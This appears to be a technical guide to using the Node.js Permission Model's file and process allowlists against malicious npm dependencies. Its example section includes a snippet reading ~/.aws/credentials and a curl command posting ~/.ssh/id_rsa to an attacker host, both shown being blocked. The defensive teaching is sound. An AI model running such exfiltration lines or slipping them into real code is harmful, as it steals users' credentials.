Node.js Permission Model Practical Guide — How to Block Unauthorized Access by Third-Party Packages Using the File System Least Privilege Principle
The 2018 event-stream incident was a turning point in NPM supply chain attacks. After a maintainer account was compromised, a malicious package was quietly inserted into a dependency chain receiving tens of millions of downloads per month, and code targeting a specific Bitcoin wallet app ran undetected for weeks. The 2021 ua-parser-js account takeover, the 2022 insertion of the peacenotwar module into node-ipc, and the deliberate sabotage of colors and faker that same year — supply chain attacks became a recurring pattern.
What these attacks commonly target is straightforward: reading sensitive files accessible with the same user privileges as the process — such as ~/.aws/credentials, ~/.ssh/id_rsa, and .env files — or spawning child processes to execute shell commands. In an environment where a single npm install pulls in hundreds of packages, exposure to the same threat is just one malicious package away.
The Node.js Permission Model defends against this at the runtime level. By defining an allowlist via CLI flags, any node:fs API call or child process spawn attempt outside the list is blocked immediately — without modifying a single line of existing application code.
How the Permission Model Works
Synchronous Checks Based on an Allowlist
The core of the Permission Model is "block immediately if not on the allowlist." When the process starts, the allowlist defined by CLI flags is loaded into the Permission Store, and every subsequent file access or process creation API call is checked synchronously.
The "synchronous check" aspect is important. It fundamentally prevents TOCTOU (Time-of-Check to Time-of-Use) attacks that exploit gaps in asynchronous checks. File paths are normalized to absolute paths via realpath, which also defends against common symbolic link traversal attempts.
There are limitations, however. The official documentation acknowledges that reusing already-open file descriptors via node:fs, and certain relative symbolic link configurations, represent known bypass possibilities. The Permission Model is more accurately understood as a runtime layer that restricts unintended file access, not a complete sandbox.
One important characteristic: it is impossible to add new permissions or expand scope to the Permission Store after startup. The allowlist set at initialization is the ceiling for the lifetime of the process.
Controllable Resource Categories
The resources currently controlled by the Permission Model span the filesystem, processes, threads, and native extensions.
| Flag | Controls |
|---|---|
--allow-fs-read |
File/directory reads via node:fs |
--allow-fs-write |
File/directory writes |
--allow-child-process |
Use of the child_process module |
--allow-worker |
Creation of worker_threads |
--allow-addons |
Loading native addons |
--allow-wasi |
Use of the WebAssembly System Interface |
Network outbound is not on this list. The Node.js Permission Model does not control network connections. The Permission Model alone cannot prevent a malicious package from exfiltrating collected data to an external destination — that domain is handled by separate layers such as OS firewalls, Kubernetes NetworkPolicy, and service mesh egress policies. This point is revisited in the defense-in-depth strategy section below.
Flag Names by Version
| Node.js Version | Flag | Status |
|---|---|---|
| 20, 22 | --experimental-permission |
Experimental |
| 24+ | --permission |
Stable |
# Node.js 22 LTS
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.js
# Node.js 24 — only the flag name changes
node --permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.jsIf you're running Node.js 22, use --experimental-permission and simply swap the flag name when upgrading to v24. Despite the experimental label, this flag will not be removed or break backward compatibility during the v22 lifecycle.
Runtime Inspection API
When the Permission Model is enabled, the process.permission object becomes available. You can use the has() method to check whether the current process holds a given permission.
// Check read permission for a specific path
process.permission.has('fs.read', '/app/src'); // true
process.permission.has('fs.read', '/etc/secrets'); // false
// Check child process permission
process.permission.has('child-process'); // false (if flag not provided)In environments where the Permission Model is disabled, process.permission is undefined. If you're running separate development and production environments and need branching logic in code, check for this first.
if (process.permission) {
if (!process.permission.has('fs.read', configPath)) {
throw new Error(`No read permission for config file: ${configPath}`);
}
}Practical Application
Express/Fastify API Server
Consider an API server that connects to external APIs and an internal DB. Filesystem access is restricted to reading the app source and dependency modules, and writing logs.
# Node.js 22
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.jsWith this configuration, if a malicious package inside node_modules attempts to access ~/.aws/credentials, it is blocked immediately.
// Code inside a malicious package
const creds = fs.readFileSync(process.env.HOME + '/.aws/credentials');
// → Error [ERR_ACCESS_DENIED]: Access to this API has been restrictedSince --allow-child-process was not provided, attempts to execute shell commands via a child process are blocked the same way.
// Code inside a malicious package
const { execSync } = require('child_process');
execSync('curl -d @~/.ssh/id_rsa https://attacker.example.com');
// → Error [ERR_ACCESS_DENIED]: Access to this API has been restrictedDesigning the Allowlist: Identifying Patterns in Staging
The most common point of concern is how to handle node_modules. Allowing everything with --allow-fs-read=/app/node_modules leaves all dependencies free to read files. To get closer to least privilege, you first need to understand which paths your app actually accesses.
The practical approach is to enable the Permission Model in a staging environment, collect ERR_ACCESS_DENIED error logs, and identify the paths actually being accessed. This process reveals which files beyond dependency modules your app touches, and provides the foundation for designing your allowlist.
Docker Deployment
FROM node:24-alpine
RUN adduser -D appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "--permission",
"--allow-fs-read=/app",
"--allow-fs-write=/app/logs",
"server.js"]If using a Node.js 22 image, replace --permission with --experimental-permission. Combining a non-root user (appuser) with the Permission Model doubly restricts an attacker's file access scope even in the event of a container escape.
CI Validation: Catching Permission Errors Before Deployment
Running an HTTP server (server.js) directly keeps the process alive, causing the CI step to hang indefinitely. It is better to prepare a dedicated script that verifies whether the file accesses required for app startup pass cleanly under the Permission Model.
// scripts/permission-smoke.js
import { readFileSync } from 'node:fs';
import { createRequire } from 'node:module';
try {
readFileSync('./package.json', 'utf-8');
const require = createRequire(import.meta.url);
require('./src/config.js');
console.log('Permission check passed');
process.exit(0);
} catch (err) {
console.error('Permission error:', err.message);
process.exit(1);
}# .github/workflows/ci.yml
- name: Permission Model Smoke Test
run: |
node --experimental-permission \
--allow-fs-read=${{ github.workspace }} \
scripts/permission-smoke.jsThis approach lets you catch ERR_ACCESS_DENIED errors in CI ahead of time. If you have actual integration tests, running them under the Permission Model environment is even more effective.
Caveats and Known Limitations
Common Mistakes in Practice
Mistake 1: Granting --allow-fs-read at the root path
# Effectively imposes no file read restrictions at all
node --experimental-permission --allow-fs-read=/ server.js
# Specify only the paths actually needed
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules \
server.jsMistake 2: Applying the same configuration to development environments
During development, dynamic file access is frequent and ERR_ACCESS_DENIED errors will occur often. Separate by environment and apply only to production and staging.
{
"scripts": {
"start": "node server.js",
"start:prod": "node --permission --allow-fs-read=/app/src,/app/node_modules --allow-fs-write=/app/logs server.js"
}
}Mistake 3: Mixing v22 and v24 flags
# Running this on v22 does not activate the Permission Model — it is silently ignored
node --permission server.js
# On v22, you must use
node --experimental-permission server.jsMistake 4: Going straight to production without staging validation
Permission errors only surface at runtime. They cannot be detected in advance by static analysis or type checking, so always validate thoroughly in staging before deploying to production.
Known Limitations
| Limitation | Description |
|---|---|
| No network access control | Cannot block credentials stored in environment variables from being transmitted over the network |
| Open fd bypass | File descriptors opened before the Permission Model is activated are outside the inspection scope |
| Partial symbolic link bypass | realpath normalization covers most cases, but bypass is possible with certain relative symbolic link configurations |
| Not a complete sandbox | Optimized for restricting unintended access; complete blocking of determined malicious code is not guaranteed |
--env-file pre-loading |
Some flags are processed before the Permission Model is initialized |
Position in a Defense-in-Depth Strategy
The Permission Model alone cannot block all supply chain attacks. In particular, because it does not control network access, paths such as credential theft via environment variables or memory access remain open even when file reads are blocked. The Permission Model is best designed as one of several defense layers.
Summarizing each layer's role:
- Package analysis tools (Snyk, Socket.dev): Detect known malicious packages before installation
- Node.js Permission Model: Restrict runtime filesystem and process access
- OS Firewall / K8s NetworkPolicy: Control outbound network egress
- Container security (Seccomp, SecurityContext): Syscall-level control
The network domain not covered by the Permission Model can be complemented in Kubernetes environments by using NetworkPolicy to explicitly restrict egress destinations.
Step-by-Step Adoption Order
Step 1 — Identify Access Patterns in Staging
The hardest part of adopting the Permission Model for the first time is figuring out what belongs on the allowlist. The fastest path is to enable it in a staging environment first, collect ERR_ACCESS_DENIED error logs, and identify the paths actually being accessed.
Step 2 — Validate Staging with a Minimal Allowlist
# Node.js 22 — adjust paths to match your app structure
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.jsCheck each path where ERR_ACCESS_DENIED occurs and refine the allowlist. This process reveals which files are actually being accessed, and creates an opportunity to eliminate unnecessary access.
Step 3 — Integrate Validation into CI and the Deployment Pipeline
Add the smoke test script introduced earlier to your CI pipeline, and fix the Dockerfile's CMD to include the Permission Model flags. From that point on, every release automatically verifies that the security configuration is maintained.
Closing Thoughts
The Node.js Permission Model is a practical security layer that sets filesystem and process allowlists with just a few CLI flags, restricting unauthorized access by third-party packages at the runtime level. It was promoted to Stable in Node.js 24 and is equally available in Node.js 22 LTS via --experimental-permission.
It has the limitation of not controlling network access, and it is not a complete sandbox capable of fully blocking determined malicious code. However, combined with package analysis tools, egress control, and container security, it enables a practical defense-in-depth structure against supply chain attacks. The starting point is identifying access patterns in staging first and designing a minimal allowlist.
References
- Node.js v22 Official Permissions Documentation
- Node.js v24 Official Permissions Documentation (Stable)
- Node.js 24.0.0 Release Notes
- Adding a permission system to Node.js — NearForm
- Node process permissions overview — Alexander Reelsen
- Enable Node.js Permission Model — nodejs-security.com
- Embracing Node.js 24's Built-In Tools — Glinteco 2025 Guide
- NPM Security: Preventing Supply Chain Attacks — Snyk